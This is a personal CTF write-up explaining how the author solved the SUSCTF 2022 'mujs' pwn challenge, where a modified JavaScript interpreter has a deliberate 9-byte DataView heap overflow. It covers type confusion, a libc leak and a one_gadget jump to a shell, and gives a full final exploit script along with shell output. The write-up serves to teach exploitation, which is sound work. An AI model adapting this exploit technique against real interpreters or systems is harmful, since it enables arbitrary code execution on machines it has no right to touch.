mujs interpreter 9 byte heap overflow to code execution - mujs - pwn - SUSCTF 2022
SUSCTF
I played SUSCTF 2022 with team SU this weekend and we got first place! I've decided to write my first ever writeup today. I solved mujs, rubbish maker and tttree. I liked all of them. I'll write about them in the order of solves.
mujs - pwn
Statement
We are given an attachment and a statement:
dd0a0972b4428771e6a3887da2210c7c9dd40f9c
nc 124.71.182.21 9999
We are given a source code of mujs
which is supposedly a js interpreter for embedded devices. It's not terribly big. We are also given compiled binary and libc which are running on remote server.
The hash in the statement tells us that given source was modified from this specific commit of mujs
: dd0a0972. This commit is pretty new and no bugs seem to be fixed since then.
I diffed the two source codes. Main difference that we see is:
- Some builtins being disabled in main.c;
- dataview.c being added which is a simple implementation of DataView.
Let's try connecting to remote:
$ nc 124.71.182.21 9999
./tmp/13751.js
Please give your exp.js here, end with '< EOF >':
print("WOW")
< EOF >
last_size: 0
./mujs ./tmp/13751.js
WOW
This tells us that server reads our provided js file and runs it as :
./mujs file.js
Finding bug
I fired up afl++ right away so it would fuzz while I was working but it found no results. I also searched for mujs CVE's and there were no code execution bugs since 2017 so I guessed the vulnerability must be in the modified code.
First we need to understand what this added DataView does. Normal usage of DataView looks like this:
x = new DataView(10)
print(x.getUint8(0))
print(x.getUint8(9))
print(x.getUint8(12)) // should not work
print(x.setUint32(0, 10))
...
Okay.
After some time auditing I found this unusable oob write:
static void Dv_setUint32(js_State *J)
{
js_Object *self = js_toobject(J, 0);
if (self->type != JS_CDATAVIEW) js_typeerror(J, "not an DataView");
size_t index = js_tonumber(J, 1);
uint32_t value = js_tonumber(J, 2);
if (index+3 < self->u.dataview.length) {
*(uint32_t*)&self->u.dataview.data[index] = value;
} else {
js_error(J, "out of bounds access on DataView");
}
}
If we do x.setUint32(-3, 0)
then index is -3(but unsigned) and so index+3 < length
check passes and we overwrite 3 bytes before the data buffer of DataView. This could be exploitable if data buffer was freed but it's freed nowhere... It basically automatically leaks dataview.data
so no luck here.
But then I found the glaringly obvious bug:
static void Dv_setUint8(js_State *J)
{
js_Object *self = js_toobject(J, 0);
if (self->type != JS_CDATAVIEW) js_typeerror(J, "not an DataView");
size_t index = js_tonumber(J, 1);
uint8_t value = js_tonumber(J, 2);
if (index < self->u.dataview.length+0x9) { // <---- here
self->u.dataview.data[index] = value;
} else {
js_error(J, "out of bounds access on DataView");
}
}
Here authors just allowed us 9 byte overflow and this is what we're going to use for our exploit.
Leveraging the bug
Type confusion
Here my teammate had an I idea to do type confusion on js_Object:
struct js_Object
{
enum js_Class type;
int extensible;
js_Property *properties;
...
}
Since type is 1 byte and we have 9 byte overflow it seems too perfect(8 bytes for malloc metadata + 1 for type) not to be true. And another teammate came up with poc of type confusion:
b = DataView(0x68);
a = DataView(0x48);
b = DataView(0x48);
c = DataView(0x48);
print(c)
b.setUint8(0x48+8, 8); // change type of c to something
print(c)
Which prints:
[object DataView]
[object String]
Nice!
Overwriting DataView's length
js_Object uses C unions so different types can use same memory. Because C unions basically alias the same memory my idea was to somehow change DataView length using a field which is aliased to the same memory and make it bigger so we would have heap oob r/w.
Here's what js_Object looks like:
struct js_Object
{
enum js_Class type;
int extensible;
js_Property *properties;
int count;
js_Object *prototype;
union {
int boolean;
double number;
struct {
const char *string;
int length;
} s;
struct {
int length;
} a;
struct {
js_Function *function;
js_Environment *scope;
} f;
struct {
const char *name;
js_CFunction function;
js_CFunction constructor;
int length;
void *data;
js_Finalize finalize;
} c;
js_Regexp r;
struct {
js_Object *target;
js_Iterator *head;
} iter;
struct {
const char *tag;
void *data;
js_HasProperty has;
js_Put put;
js_Delete delete;
js_Finalize finalize;
} user;
struct {
uint32_t length;
uint8_t* data;
} dataview;
} u;
// ...
};
Here for example js_Object.u.dataview.length
is stored at the same offset as js_Object.u.number
and js_Object.u.c.name
.
So for overwriting u.number
I found this:
static void js_setdate(js_State *J, int idx, double t)
{
js_Object *self = js_toobject(J, idx);
if (self->type != JS_CDATE)
js_typeerror(J, "not a date");
self->u.number = TimeClip(t);
js_pushnumber(J, self->u.number);
}
// ... called from here
static void Dp_setTime(js_State *J)
{
js_setdate(J, 0, js_tonumber(J, 1));
}
Let's try!
JS_CDATE
value is 10 so we need to set type
to 10 get Date
object.
b = DataView(0x68);
a = DataView(0x48);
b = DataView(0x48);
c = DataView(0x48);
print(c)
b.setUint8(0x48+8, 10); // set type of c to Date
print(c)
c.setTime(0)
Result:
[object DataView]
[object Date]
TypeError: undefined is not callable
at tconf.js:10
Hmm, type confusion worked but we can't call setTime? I was confused by this for some time but then I realized prototype of js object is set when it is first created so when we change type the prototype still stays the same. For those who don't know what prototype is it's basically what defines which methods exists on object.
So this is where my understanding of cursed js's this
helped me:
We can still call setTime
using js's bind
:
Date.prototype.setTime.bind(c)(12)
And it works!
b = DataView(0x68);
a = DataView(0x48);
b = DataView(0x48);
c = DataView(0x48);
print(c)
b.setUint8(0x48+8, 10); // set type of c to Date
print(c)
Date.prototype.setTime.bind(c)(1.09522e+12)
b.setUint8(0x48+8, 16); // type of c back to DataView
print(c.getLength())
Viola:
[object DataView]
[object Date]
1587544064
Now you might think overwriting u.number
which is double
and is 8 bytes would overwrite u.dataview.data
's first 4 bytes since u.dataview.length
is 4 bytes. But padding saved us here so data
pointer is unaffected as well.
Using heap OOB r/w for code execution
So this part is mostly exploring heap and finding out what object lie on it. But I can also control stuff on it as well. So I allocated two DataView's, after c
which I can find offsets to. We know that allocating more than 128kb using malloc
causes it to be mmap
'd and knowing the address of that chunk leaks libc's base.
Let's try:
b = DataView(0x68);
a = DataView(0x48);
b = DataView(0x48);
c = DataView(0x48);
e = DataView(0x48);
f = DataView(0x1000 * 0x1000);
print(c)
b.setUint8(0x48+8, 10); // set c type to Date
print(c)
Date.prototype.setTime.bind(c)(1.09522e+12) // write random big number to u.number/u.length
b.setUint8(0x48+8, 16); // set c type back to DataView
print(c)
print(c.getLength())
sh32 = 4294967296 // 1<<32
libb_addr_off = 472
libc_leak = c.getUint32(libb_addr_off) + (c.getUint32(libb_addr_off+4)*sh32)
libc_off = 0x7ffff7c31000 - 0x7ffff6bfe010 // got this from gdb
libc_base = libc_leak + libc_off
print('libc base:', libc_base.toString(16))
Using this prints:
[object DataView]
[object Date]
[object DataView]
1587544064
libc base: 7f786e7e8000
So, now we've leaked libc base.
For controlling code execution I forged a JS_CCFUNCTION
type of object which has a u.c.function
:
This type of js object can simple be called inside js and will result in underlying u.c.function
being called. Since we have full control over heap we can modify a DataView object to become CCFUNCTION
.
Here's the line where it get's called:
void js_call(js_State *J, int n)
{
// ...
} else if (obj->type == JS_CCFUNCTION) {
jsR_pushtrace(J, obj->u.c.name, "native", 0);
jsR_callcfunction(J, n, obj->u.c.length, obj->u.c.function);
--J->tracetop;
}
// ...
}
As for the target to jump to we use amazing one_gadget. It gives us code execution using a single jump to a specific libc address.
$ one_gadget libc.so.6
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
And third gadget got worked!
$ nc 124.71.182.21 9999
./tmp/18759.js
Please give your exp.js here, end with '< EOF >':
.... exploit here
< EOF >
last_size: 0
./mujs ./tmp/18759.js
ls
bin
dev
flag
io
lib
lib32
lib64
libx32
mujs
tmp
cat flag
SUSCTF{***********************}
Final exploit
b = DataView(0x68);
a = DataView(0x48);
b = DataView(0x48);
c = DataView(0x48);
e = DataView(0x48);
f = DataView(0x1000 * 0x1000);
b.setUint8(0x48+8, 10); // set c type to Date
Date.prototype.setTime.bind(c)(1.09522e+12) // write random big number to u.number/u.length
b.setUint8(0x48+8, 16); // set c type back to DataView
sh32 = 4294967296 // 1<<32
libb_addr_off = 472
libc_leak = c.getUint32(libb_addr_off) + (c.getUint32(libb_addr_off+4)*sh32)
libc_off = 0x7ffff7c31000 - 0x7ffff6bfe010 // got this from gdb
libc_base = libc_leak + libc_off
print('libc base:', libc_base.toString(16))
one_gag = libc_base + 0xe6c84
print('onegadget:', one_gag.toString(16))
e_obj_off = 192
c.setUint8(160, 4) // this sets type to JS_CCFUNCTION
// set lower 4 bytes of js_CFunction function
c.setUint32(e_obj_off+8, one_gag&0xffffffff)
// set upper 4 bytes of js_CFunction function
c.setUint32(e_obj_off+8+4, Math.floor(one_gag/sh32)&0xffffffff)
e() // e is now a function so we can call it
I'm speaking with no experience here but this is basic idea of how heap overflow bugs are exploited in big projects like V8 but there's much more stuff going on there so it's way harder to get determinism.
Thanks for the reading till the end!
Let's hope I'll write more writeups.
Glory to Ukraine!